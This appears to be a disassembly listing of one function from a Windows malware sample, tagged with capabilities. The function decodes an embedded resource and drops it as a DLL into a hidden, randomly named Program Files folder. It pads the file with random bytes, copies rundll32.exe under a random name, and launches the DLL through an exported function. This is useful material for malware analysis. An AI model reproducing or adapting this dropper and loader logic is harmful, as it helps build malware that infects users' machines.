Function at 0x4020ce
Capabilities:
Copy file
Create directory
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6cc
push esi
push edi
push str.REGISTRY
push 0x95
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x6c8], eax
cmp dword [ebp - 0x6c8], 0
jne 0x402101
xor eax, eax
jmp 0x4025f2
mov eax, dword [ebp - 0x6c8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jne 0x402126
xor eax, eax
jmp 0x4025f2
mov ecx, dword [ebp - 0x6c8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x46c], eax
mov edx, dword [ebp - 0x32c]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
jne 0x402151
xor eax, eax
jmp 0x4025f2
mov eax, dword [ebp - 0x46c]
push eax
mov ecx, dword [ebp - 0x32c]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
mov edx, dword [ebp - 0x18]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov cl, byte [eax]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x18]
xor eax, eax
mov al, byte [edx + 1]
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x330], 0
jmp 0x4021a5
mov ecx, dword [ebp - 0x330]
add ecx, 1
mov dword [ebp - 0x330], ecx
mov edx, dword [ebp - 0x330]
cmp edx, dword [ebp - 0x46c]
jge 0x40224a
mov eax, dword [ebp - 0x330]
cdq
mov ecx, 3
idiv ecx
cmp edx, 2
jne 0x4021e3
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x330]
mov al, byte [edx]
sub al, byte [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x330]
mov byte [ecx], al
mov eax, dword [ebp - 0x330]
cdq
mov ecx, 3
idiv ecx
cmp edx, 1
jne 0x402212
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x330]
mov al, byte [edx]
sub al, byte [ebp - 0x224]
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x330]
mov byte [ecx], al
mov eax, dword [ebp - 0x330]
cdq
mov ecx, 3
idiv ecx
test edx, edx
jne 0x402245
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x224]
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x330]
mov cl, byte [eax]
sub cl, dl
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x330]
mov byte [edx], cl
jmp 0x402196
mov byte [ebp - 0x468], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x467]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x220], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x21f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x340], 0
xor eax, eax
mov dword [ebp - 0x33f], eax
mov dword [ebp - 0x33b], eax
mov dword [ebp - 0x337], eax
mov word [ebp - 0x333], ax
mov byte [ebp - 0x331], al
push 5
lea ecx, [ebp - 0x340]
push ecx
call fcn.00401b0b
add esp, 8
lea edx, [ebp - 0x340]
push edx
push str.d:Program_Files_s
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea ecx, [ebp - 0x468]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40230f
lea edx, [ebp - 0x340]
push edx
push str.c:Program_Files_s
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea ecx, [ebp - 0x468]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 2
lea edx, [ebp - 0x468]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x10
push 0
lea eax, [ebp - 0x340]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 5
lea ecx, [ebp - 0x340]
push ecx
call fcn.00401b0b
add esp, 8
lea edx, [ebp - 0x340]
push edx
lea eax, [ebp - 0x468]
push eax
push str._s_s.dll
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x4c0], eax
push 0
lea eax, [ebp - 0x4bc]
push eax
mov ecx, dword [ebp - 0x46c]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x4c0]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov dword [ebp - 0x4b8], edx
mov edx, dword [ebp - 0x4b8]
push edx
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x6cc], eax
mov eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x470], 0
jmp 0x402403
mov ecx, dword [ebp - 0x470]
add ecx, 1
mov dword [ebp - 0x470], ecx
mov edx, dword [ebp - 0x470]
cmp edx, dword [ebp - 0x4b8]
jge 0x402436
call dword [sym.imp.MSVCRT.dll_rand]
mov ecx, dword [ebp - 0x470]
add ecx, 0xfa
cdq
idiv ecx
mov eax, dword [ebp - 0x4c4]
add eax, dword [ebp - 0x470]
mov byte [eax], dl
jmp 0x4023f4
push 0
lea ecx, [ebp - 0x4bc]
push ecx
mov edx, dword [ebp - 0x4b8]
push edx
mov eax, dword [ebp - 0x4c4]
push eax
mov ecx, dword [ebp - 0x4c0]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0
mov edx, dword [ebp - 0x4c0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x4bc]
push eax
push 2
push 0x4071f8
mov ecx, dword [ebp - 0x4c0]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x4c0]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 8
mov esi, str.c:windows_system32_rundll32.exe
lea edi, [ebp - 0x364]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov byte [ebp - 0x328], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x327]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x10
push 0
lea eax, [ebp - 0x340]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 3
lea ecx, [ebp - 0x340]
push ecx
call fcn.00401b0b
add esp, 8
lea edx, [ebp - 0x340]
push edx
lea eax, [ebp - 0x468]
push eax
push str._s_s.exe
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x364]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov byte [ebp - 0x6c4], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x6c3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x11c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea ecx, [ebp - 0x11c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x11c]
push edx
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x328]
push ecx
push str._s___s__EnumSourceFiles__s
lea edx, [ebp - 0x6c4]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov dword [ebp - 0x4b4], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x4b0]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x4b4], 0x44
mov dword [ebp - 0x4ac], str.WinSta0Default
mov word [ebp - 0x484], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x4b4]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x6c4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret